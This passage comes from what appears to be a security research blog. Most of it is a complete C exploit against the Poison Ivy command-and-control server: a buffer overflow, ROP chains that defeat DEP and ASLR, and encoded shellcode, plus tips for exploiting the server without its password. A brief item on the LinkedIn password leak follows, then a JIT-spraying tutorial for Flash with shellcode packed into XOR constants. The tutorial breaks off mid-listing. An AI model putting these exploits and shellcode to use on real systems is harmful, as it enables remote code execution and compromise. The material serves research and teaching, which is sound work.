	for (idx = 0; idx < len; idx += CAMELLIA_BLOCK_SIZE)
		c_d(data + idx, data + idx, all_keys);
}

void unloadCamellia() {
	if (hMod != NULL)
		FreeLibrary(hMod);
}

PI’s C&C server creates a thread for each new connection. It’s that thread’s function that has the vulnerability. Here’s the buffer that we want to overflow:

Now, to the exploit. We want to indicate that there’s a lot of data to be sent. However, we don’t want to send that much data, because if we break the connection we can quickly get to the overwritten return address. We must keep in mind, though, that we can’t break the connection before all of the data we wanted to send was actually received by the other side. This way, we get both the overflow, and the quick exit. We also note that PI was built so that threads can terminate without affecting the server, which is an attribute we’re going to use to exit cleanly from our shellcode.

Ok, so we can overwrite the return address, but where should we point it to? The thread’s stack is not executable, and we don’t even know where it is. However, the PI server’s executable doesn’t support ASLR, so we know exactly where it is (as a side note, all of its sections are marked RWX). We’re going to construct a ROP chain that calls VirtualProtect and makes the stack executable, so we can run our code. The problem is we don’t have much of a stack to work with when the function returns, having that this is a function directly called by CreateThread. This is all the stack space we have:

So, using the helpful assistance of mona.py, we manually create a ROP chain to take us back 0×8000 bytes to where the stack was, so we can have a bigger ROP chain there that calls VirtualProtect on 0×4000 stack bytes (which is more than enough for any shellcode you might want to run). One last thing to remember is that EIP and ESP are the same when the shellcode starts to run, so it’s important not to write things on the stack that will destroy the shellcode. We deal with it by subtracting 0×40 from ESP upon entering our shellcode, so we have some space for local variables.

See the inline comments in the code below for specific details on the ROP chains and the shellcode:

/* Poison Ivy own-the-owner exploit by Gal Badishi, http://www.badishi.com */

#define WIN32_LEAN_AND_MEAN

#include 
#include 

#include 
#include 

#include "Camellia.h"

#define PI_CLIENT_PASS "admin"
#define PI_CLIENT_PASS_LEN 5

#define PI_SERVER_IP "192.168.13.2"
#define PI_SERVER_PORT 3460

#define HANDSHAKE_SIZE 256
#define CLIENT_DETAILS_SIZE 0x8095
#define CLIENT_DETAILS_HEADER_SIZE 0x20

#define SHORT_ROP_CHAIN_POS 0x806D	// Overwritten return address is here
#define LONG_ROP_CHAIN_POS (SHORT_ROP_CHAIN_POS - 0x7FF0)

/*
 * The buffer is long enough for an overflow, but all we need is the first 0x20 header bytes.
 * To get straight to the end of the function after the overflow, we declare a bigger size
 * than our actual buffer (0x10000 vs. 0x8095), and drop the connection after sending our buf.
 * These 0x20 bytes are the only things that need to get encrypted. In fact, it might work
 * even without encryption! (Thus, you might not need to know the password, but then you
 * might not succeed on the first shot, and you'll have to at least play with the size.
 * The number of bytes after the header is given by the 3rd DWORD in the header.
 */
unsigned char client_details[CLIENT_DETAILS_SIZE] =
{
    0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xBB, 0x00, 0x00, 0x00, 
    0xC2, 0x00, 0x00, 0x00, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
};

unsigned int short_ROP_chain[] = {
	0x0041F1E9,	// 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
	0x00401000,	// Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
	0xFFFF8000,	// edx. We'll add this number later to ebp (which will subtract 0x8000 from it).
	0x0042F63A,	// Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
	0x00000000,	// edi (ebp points here now)
	0x00000000,	// esi
	0x00000000,	// ebx
	0x00426799,	// We need this to offset ebp: mov eax,edx # retn
	0x0041F337,	// Subtract 0x8000 from ebp: add ebp,eax # retn
	0x00403A77	// mov esp,ebp # pop ebp # retn
};

unsigned int long_ROP_chain[] = {
	0x00000000,	// New ebp
	0x0041F1E9,	// Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
	0x0000002C,	// edx. We'll add this number later to ebp, to prevent looping.
	0x0042F63A,	// Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
	0x00000001,	// edi. We need it when we call VirtualProtect (ebp points here now)
	0x00000000,	// esi
	0x00000000,	// ebx
	0x00426799,	// We need this to offset ebp: mov eax,edx # retn
	0x0041F337,	// Subtract 0x8000 from ebp: add ebp,eax # retn
	0x004D82DE,	// eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn
	0x004F196E,	// push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8
	0x00004000,	// Size
	0x00000040,	// New protect (0x40 = PAGE_EXECUTE_READWRITE)
	0x00401000,	// Old protect (ptr)
	0x00000000,	// esi
	0x00000000,	// ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect.
	0x0041AA97,	// jmp esp (also new ebp)
	0x00000000,	// Discarded
	0x00000000	// Discarded
	// The shellcode goes here (this is going to be esp)
};

/*
 * windows/exec
 * http://www.metasploit.com
 * VERBOSE=false, EXITFUNC=thread, 
 * CMD=calc.exe
 *
 * Encoded using shikata_ga_nai due to AV detection
 */
unsigned char payload[] = 
	"\x83\xec\x40"	// sub esp,40 - esp is our eip and that's a problem
	"\xdd\xc4\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x33\xb8\x7f\x6b\x1c"
	"\xe9\x83\xed\xfc\x31\x45\x13\x03\x3a\x78\xfe\x1c\x38\x96\x77"
	"\xde\xc0\x67\xe8\x56\x25\x56\x3a\x0c\x2e\xcb\x8a\x46\x62\xe0"
	"\x61\x0a\x96\x73\x07\x83\x99\x34\xa2\xf5\x94\xc5\x02\x3a\x7a"
	"\x05\x04\xc6\x80\x5a\xe6\xf7\x4b\xaf\xe7\x30\xb1\x40\xb5\xe9"
	"\xbe\xf3\x2a\x9d\x82\xcf\x4b\x71\x89\x70\x34\xf4\x4d\x04\x8e"
	"\xf7\x9d\xb5\x85\xb0\x05\xbd\xc2\x60\x34\x12\x11\x5c\x7f\x1f"
	"\xe2\x16\x7e\xc9\x3a\xd6\xb1\x35\x90\xe9\x7e\xb8\xe8\x2e\xb8"
	"\x23\x9f\x44\xbb\xde\x98\x9e\xc6\x04\x2c\x03\x60\xce\x96\xe7"
	"\x91\x03\x40\x63\x9d\xe8\x06\x2b\x81\xef\xcb\x47\xbd\x64\xea"
	"\x87\x34\x3e\xc9\x03\x1d\xe4\x70\x15\xfb\x4b\x8c\x45\xa3\x34"
	"\x28\x0d\x41\x20\x4a\x4c\x0f\xb7\xde\xea\x76\xb7\xe0\xf4\xd8"
	"\xd0\xd1\x7f\xb7\xa7\xed\x55\xfc\x48\x0c\x7c\x08\xe1\x89\x15"
	"\xb1\x6c\x2a\xc0\xf5\x88\xa9\xe1\x85\x6e\xb1\x83\x80\x2b\x75"
	"\x7f\xf8\x24\x10\x7f\xaf\x45\x31\x1c\x2e\xd6\xd9\xcd\xd5\x5e"
	"\x7b\x12";

void bail_out(const char *msg, SOCKET sock) {
	printf("%s\n", msg);
	if (sock != INVALID_SOCKET) {
		shutdown(sock, SD_BOTH);
		closesocket(sock);
		WSACleanup();
	}
	unloadCamellia();
	exit(1);
}

SOCKET connect_to_PI_server(const char *ip, unsigned short port) {

	unsigned long ulAddr;
	struct sockaddr_in addr;
	WSADATA wsaData;
	SOCKET sock;

	if ((ulAddr = inet_addr(ip)) == INADDR_NONE || ulAddr == INADDR_ANY)
		bail_out("Wrong IP address format", INVALID_SOCKET);
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		bail_out("Cannot initialize Winsock", INVALID_SOCKET);
	if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
		WSACleanup();
		bail_out("Cannot create socket", INVALID_SOCKET);
	}
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = ulAddr;
	addr.sin_port = htons(port);
	if (connect(sock, (const sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR)
		bail_out("Cannot connect to PI server", sock);
	return sock;
}

/* Send 256 bytes of data (challenge) and get them encrypted (response) */
void handshake(SOCKET sock) {

	char buf[HANDSHAKE_SIZE] = {0};

	if (send(sock, buf, HANDSHAKE_SIZE, 0) == SOCKET_ERROR)
		bail_out("Cannot send handshake", sock);
	if (recv(sock, buf, HANDSHAKE_SIZE, 0) < HANDSHAKE_SIZE)
		bail_out("Error receiving handshake", sock);
}

void recv_command(SOCKET sock) {

	int len, recv_len;
	char temp[0x100];

	if (recv(sock, (char *) &len, sizeof(len), 0) < sizeof(len))
		bail_out("Cannot get command size", sock);
	printf("Waiting for command...\n");
	Sleep(2000);
	do {
		int bytes_to_read = len > 0x100 ? 0x100 : len;
		if ((recv_len = recv(sock, temp, bytes_to_read, 0)) < bytes_to_read)
			bail_out("Cannot get command", sock);
		len -= recv_len;
	} while (len > 0);
}

void send_exploit(SOCKET sock) {

	char client_details_enc[CLIENT_DETAILS_SIZE];

	memcpy(client_details_enc, client_details, CLIENT_DETAILS_SIZE);
	encrypt((unsigned char *) client_details_enc, CLIENT_DETAILS_HEADER_SIZE);

	memcpy(client_details_enc + SHORT_ROP_CHAIN_POS, short_ROP_chain, sizeof(short_ROP_chain));
	memcpy(client_details_enc + LONG_ROP_CHAIN_POS, long_ROP_chain, sizeof(long_ROP_chain));

	/* The payload comes directly after the long ROP chain */
	memcpy(client_details_enc + LONG_ROP_CHAIN_POS + sizeof(long_ROP_chain), payload, sizeof(payload));

	printf("Sent 0x%X/0x%X bytes\n", send(sock, client_details_enc, CLIENT_DETAILS_SIZE, 0), CLIENT_DETAILS_SIZE);
}

int main() {

	SOCKET sock = INVALID_SOCKET;

	if (!loadCamellia(PI_CLIENT_PASS, PI_CLIENT_PASS_LEN))
		bail_out("Cannot load Camellia DLL", INVALID_SOCKET);

	sock = connect_to_PI_server(PI_SERVER_IP, PI_SERVER_PORT);
	handshake(sock);
	recv_command(sock);
	send_exploit(sock);

	printf("Count to 5...\n");
	Sleep(5000);

	shutdown(sock, SD_BOTH);
	closesocket(sock);
	WSACleanup();
	unloadCamellia();

	printf("Finished - Check to see if the exploit worked.\n");
	return 0;
}

The exploit was tested on Windows XP Service Pack 3, but should work without any problem on all Windows versions, as it bypasses DEP (using ROP chains and VirtualProtect) and ASLR (using the fact that the executable doesn’t support rebasing, and utilizing only relative addresses).

Exploiter’s view:

PI’s C&C server’s view:

Although the exploit presented here uses Poison Ivy’s own PILib.dll to encrypt the communication to the server, and thus the correct encryption key/password is needed, we can perform the exploitation quite reliably even without encrypting the data. For the exploit to be reliable, the server needs to see two things after decrypting the header:

The first DWORD should not be 4.
The third DWORD should be higher than the actual size of the data we send (minus the header).

For the first point, out of about 4 billion numbers, only one poses a problem. In fact, we can just send the number 4, and assume that it’s not going to get decrypted back to 4 (i.e., the encryption wouldn’t have done anything to it). As for the second point, we observe that we send 0×8095 bytes, meaning that it suffices for the 3rd DWORD in the header to have one of its higher bytes not equal to 0. Following the same logic we used before, we can simply send zeros as the higher bytes.

It’s important to note that the exploit data following our header never gets decrypted, so we don’t have to worry about PI ruining our values if we don’t encrypt the data.

In light of this analysis, a Metasploit module without encryption is being prepared.

LinkedIn Hacked – Passwords Revealed

Gal — Wed, 06 Jun 2012 20:17:21 +0000

In a recent press release, LinkedIn admitted it is investigating reports that about 6.5 million passwords were stolen from its database. Sources say that about 300,000 of these passwords were already cracked, and efforts are underway to reveal the rest of the passwords. LinkedIn user base is estimated at about 150 million, meaning that less than 5% of the passwords were stolen, and only 0.1% of the users’ passwords were revealed. However, some LinkedIn users have already found their passwords floating around the net.

JIT Spraying Primer and CVE-2010-3654

Gal — Sat, 26 May 2012 14:26:26 +0000

Lately, hackers are forced to be more and more creative as defense mechanisms are piling up, making exploitation more difficult. Most notably, data execution prevention (DEP) and address space layout randomization (ASLR), both present on Windows 7 and current browsers, make drive-by exploits a real pain. In this post we explain the concept of using the Just-In-Time (JIT) compiler to bypass DEP and ASLR.

It all started with SkyLined’s heap spraying technique, where JavaScript code on a web page was used to allocate many blocks on the heap, each containing a nop-sled and the shellcode (or stage-0). When DEP was not enabled, this was more than enough, as a jump to one of the allocated regions immediately started executing the shellcode (perhaps after a nop-sled). As DEP is currently enabled on all browsers, using heap sprays becomes more difficult, as return oriented programming (ROP) must be used, in spite of ASLR.

But why go through all these hurdles when you can simply use a region of memory that has both controllable data and execute permissions? You just need to find a program that must dynamically allocate memory in this fashion. A natural choice would be JIT compilers, as their sole purpose is to compile a scripting language (or byte-code) to machine instructions on the fly, so as to improve execution speed.

The concept of JIT spraying was first introduced by Dion Blazakis in his Black Hat presentation (better read the paper), where he focused on Adobe Flash Player, and the Adobe ActionScript Virtual Machine (AVM2). Alexey Sintsov continued Dion’s work, providing some source code along the way.

We now describe how to perform the JIT spray, with Adobe Flash Player 9 (standalone version) as an example, using ActionScript and SWF files. I always like to take a look at a format’s specification when I study exploitation details, so I encourage you to read the SWF format specification (or if you’re lazy, at least read a very short summary of it). To compile ActionScript code and manipulate SWF files, you can download Adobe Flex SDK or SWFTools. Most examples presented here are based on SWFTools.

First, let’s look at Alexey Sintsov’s simple JIT code:

// Sprayng JIT.swf
// 
// By Alexey Sintsov
//	dookie@inbox.ru
//	a.sintsov@dsec.ru
//
//	DSecRG - Digital Security Research Group [dsecrg.com]
// 
//  hardcoded system() - notepad
//

package {

	import flash.display.MovieClip

	public class Main extends MovieClip
	{

		function funcXOR1()
		{
			var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C90ec8b^
			0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^0x3cf8458d^0x3c909050^0x35b89090^0x3c9077c1^
			0x3c90c7b0^0x3c9093b4^0x3ccd0ff);
			return ret;
		}
		
		function Main()
		{
			var ret1=funcXOR1();
		}
	}
}

Compile using SWF tools:

as3compile -o jit.swf jit_simpl.as

Look at the resulting SWF file using a hex editor:

The “CWS” at the beginning of the file tells us that the SWF file is compressed. Let’s decompress it:

swfcombine -d -o jit_extracted.swf jit_simpl.swf

The contents of the extracted SWF are:

Manual decoding of the extracted SWF gives:

465753 - "FWS" signature
09 - Version 9
60040000 - Size 0x460 (1120 bytes)
70000FA00000BB80 - RECT record, 14 bits per field: twips: (0, 0) to (0x1F40, 0x1770) ==> pixels: (0, 0) to (400, 300)
0019 - 25.0 frames per second
0100 - One frame in file

4411 - Tag 69 (FileAttributes), size: 4 bytes
08 - ActionScript 3.0
000000 - Reserved

BF14 - Tag 82 (DoABC), size in next 4 bytes
31040000 - Size 0x431 (1073 bytes)
00000000 - Flags
00 - Name (empty)

----- BEGIN abcFile -----

0010 - Minor version 16
2E00 - Major version 46

constant_pool:

	11 - 16 integer entries + 1
		90A1C2E403 - integer[1] = 0x3C909090
		D0A0C2E403 - integer[2] = 0x3C909050
		8BD9C3E403 - integer[3] = 0x3C90EC8B
		AB82C3E403 - integer[4] = 0x3C90C12B
		B8E185A306 - integer[5] = 0x646170B8
		D5A0C2E403 - integer[6] = 0x3C909055
		B8DDBDFB03 - integer[7] = 0x3F6F6EB8
		90F302 - integer[8] = 0xB990
		B0A0C2E403 - integer[9] = 0x3C909030
		8382C3E403 - integer[10] = 0x3C90C103
		8D8BE1E703 - integer[11] = 0x3CF8458D
		90A1E2AD03 - integer[12] = 0x35B89090
		C1EFC1E403 - integer[13] = 0x3C9077C1
		B08FC3E403 - integer[14] = 0x3C90C7B0
		B4A7C2E403 - integer[15] = 0x3C9093B4
		FFA1B31E - integer[16] = 0x03CCD0FF
	00 - No uints
	00 - No doubles
	0D - 12 string entries + 1
		00 - string[1] = ""
		094D6F766965436C6970 - string[2] = "MovieClip"
		0866756E63584F5231 - string[3] = "funcXOR1"
		064F626A656374 - string[4] = "Object"
		0F4576656E7444697370617463686572 - string[5] = "EventDispatcher"
		0D446973706C61794F626A656374 - string[6] = "DisplayObject"
		11496E7465726163746976654F626A656374 - string[7] = "InteractiveObject"
		16446973706C61794F626A656374436F6E7461696E6572 - string[8] = "DisplayObjectContainer"
		06537072697465 - string[9] = "Sprite"
		044D61696E - string[10] = "Main"
		0D666C6173682E646973706C6179 - string[11] = "flash.display"
		0C666C6173682E6576656E7473 - string[12] = "flash.events"
	05 - 4 namespaces + 1
		160B - namespace[1] = Package NS: "flash.display"
		1601 - namespace[2] = Package NS: "" (global)
		160C - namespace[3] = Package NS: "flash.events"
		1701 - namespace[4] = Package internal NS: ""
	00 - No namespace sets
	0A - 9 multinames + 1
		070102 - multiname[1] = flash.display::MovieClip
		070403 - multiname[2] = (internal)::funcXOR1
		07020A - multiname[3] = ::Main
		070204 - multiname[4] = ::Object
		070305 - multiname[5] = flash.events::EventDispatcher
		070106 - multiname[6] = flash.display::DisplayObject
		070107 - multiname[7] = flash.display::InteractiveObject
		070108 - multiname[8] = flash.display::DisplayObjectContainer
		070109 - multiname[9] = flash.display::Sprite
	
...

This information is not necessary for the JIT spray itself, but it will come in handy soon enough, when we exploit a Flash Player vulnerability.

Loading the SWF file into Flash Player 9 (standalone version) we can see that the JIT compiler has generated code that matches the script that we’ve written:

However, if we manage to jump one byte into the code (right after the mov instruction), it will look very different:

Filtering out all the nops and nop-equivalents, we get:

mov ebp,esp
push ebp
mov ebp,esp
mov eax,0x35646170
mov ecx,0x35000000
sub eax,ecx
push eax
mov eax,0x353f6f6e
mov ecx,0x30350000
add eax,ecx
push eax
lea eax,dword ptr ss:[ebp-8]
push eax
mov eax,0x77c13535
mov al,0xc7
mov ah,0x93
call eax
int 3

Which can be compressed to:

mov ebp,esp
push 0x00646170
push 0x65746F6E
sub ebp,8
push ebp		; Address of "notepad" on stack
mov eax,0x77c193c7	; msvcrt.system
call eax
int 3

The fact that we need to compensate for the xor opcode (0×35) makes the actual code larger.

As Alexey Sintsov mentioned, it’s important to keep the size of the code small, or else Flash Player will allocate more memory for the JIT code, resulting in much more distance between each loaded SWF file in the spray (the minimal distance we get is 0×10000). Additionally, each xored number must have its leftmost bit set to 0, or the code gets JITted with extra opcodes that ruin our shellcode. Moreover, it’s important to choose the right compiler for your ActionScript file. In this case, using mxmlc (from the Flex package) generates “xor ebx” opcodes, each taking 2 bytes, once again ruining our shellcode.

When loading the SWF many times (performing the JIT spray), we get the following memory layout:

We don’t have to worry much about Windows 7′s ASLR, since it’s not used for VirtualAlloc.

More Realistic Code

The proof of concept code uses the static address of msvcrt.dll’s system function (which is 0x77C193C7 in the given example, but 0x77C293C7 on current Windows XP SP3 machines). We don’t want to rely on static addresses, so here’s an ActionScript file that uses the Thread Information/Environment Block (TIB/TEB), to get to the Process Environment Block (PEB), search the loaded modules for msvcrt.dll, walk over its export table, and find the real address of system:

// Original size: 0x185 bytes Flash Player header + XOR code + trailer
// The CVE-2010-3654 vulnerability will change EIP like this: [[[addr + 10h] + 4Ch] + 0Ch]
// Where "addr" is the address returned by the exploited function (see exploit code), currently 0x09090176
// The first 3 xored DWORDs are there for the aforementioned dereferencing

package {

	import flash.display.MovieClip

	public class Main extends MovieClip
	{

		function funcXOR1()
		{

			var ret = (
			
			// 3 addresses for CVE-2010-3654's dereferencing + NOP sled (unused, really)
			0x0909013F^0x09090184^0x09090195^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^	
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
			0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^

			// Find msvcrt.dll's base address through the PEB
			// Most JIT xor bytes are not included
			//			
			// 00688931      33C0          XOR EAX,EAX
			// 00688933      B0 18         MOV AL,18
			// 00688935      8BF8          MOV EDI,EAX
			// 00688937      64:8B1F       MOV EBX,DWORD PTR FS:[EDI]
			// 0068893A      B0 30         MOV AL,30
			// 0068893C      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]
			// 0068893F      B0 0C         MOV AL,0C
			// 00688941      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]
			// 00688944      B0 1C         MOV AL,1C
			// 00688946      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]
			// 00688949      FC            CLD
			// 0068894A      33C9          XOR ECX,ECX
			// 0068894C      BA 6C356C00   MOV EDX,006C356C                                ;  XOR embedded
			// 00688951      B6 00         MOV DH,0
			// 00688953      52            PUSH EDX                                        
			// 00688954      BA 2E356400   MOV EDX,0064352E                                ;  XOR embedded
			// 00688959      B6 00         MOV DH,0
			// 0068895B      52            PUSH EDX                                        
			// 0068895C      BA 72357400   MOV EDX,00743572                                ;  XOR embedded
			// 00688961      B6 00         MOV DH,0
			// 00688963      52            PUSH EDX                                        
			// 00688964      BA 76356300   MOV EDX,00633576                                ;  XOR embedded
			// 00688969      B6 00         MOV DH,0
			// 0068896B      52            PUSH EDX                                        
			// 0068896C      BA 6D357300   MOV EDX,0073356D                                ;  XOR embedded
			// 00688971      B6 00         MOV DH,0
			// 00688973      52            PUSH EDX                                        
			// 00688974      B0 20         MOV AL,20
			// 00688976      8BF4          MOV ESI,ESP
			// 00688978      8B3C18        MOV EDI,DWORD PTR DS:[EAX+EBX]
			// 0068897B      B1 05         MOV CL,5
			// 0068897D      F3:A7         REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
			// 0068897F      EB 01         JMP SHORT 00688982
			// 00688981      90            NOP                                             ;  XOR
			// 00688982      74 0A         JE SHORT 0068898E
			// 00688984      90            NOP
			// 00688985      90            NOP
			// 00688986      90            NOP                                             ;  XOR
			// 00688987      8B1B          MOV EBX,DWORD PTR DS:[EBX]
			// 00688989      90            NOP
			// 0068898A      90            NOP
			// 0068898B      90            NOP                                             ;  XOR
			// 0068898C      EB E0         JMP SHORT 00688976                              ;  The operand byte here takes into account the xors/nops
			// 0068898E      90            NOP                                             
			// 0068898F      B0 08         MOV AL,8
			// 00688991      8B1C18        MOV EBX,DWORD PTR DS:[EAX+EBX]                  ;  EBX now contains msvcrt.dll's base address

			// Find msvcrt.dll's base address and put it in EBX
			0x3C90C033^0x3C9018B0^0x3C90F88B^0x3C1F8B64^0x3C9030B0^0x3C181C8B^0x3C900CB0^0x3C181C8B^0x3C901CB0^0x3C181C8B^0x3C9090FC^0x6CBAC933^
			0x3C90006C^0x3C5200B6^0x2EBA9090^0x3C900064^0x3C5200B6^0x72BA9090^0x3C900074^0x3C5200B6^0x76BA9090^0x3C900063^0x3C5200B6^0x6DBA9090^
			0x3C900073^0x3C5200B6^0x3C9020B0^0x3C90F48B^0x3C183C8B^0x3C9005B1^0x01EBA7F3^0x3C900A74^0x3C901B8B^0x3C90E0EB^0x3C9008B0^0x3C181C8B^

			// Find the address of system using msvcrt.dll's export table
			// The code assumes the function exists, and will probably crash if it doesn't
			// Other assumptions on sizes of RVAs are also made (and noted in the code)
			// Most JIT xor bytes are not included
			//
			// 02650CA5    B0 3C           MOV AL,3C
			// 02650CA7    8B0418          MOV EAX,DWORD PTR DS:[EAX+EBX]                  ; Start of PE header (should be just 1 byte, but 2 is also fine)
			// 02650CAA    04 78           ADD AL,78
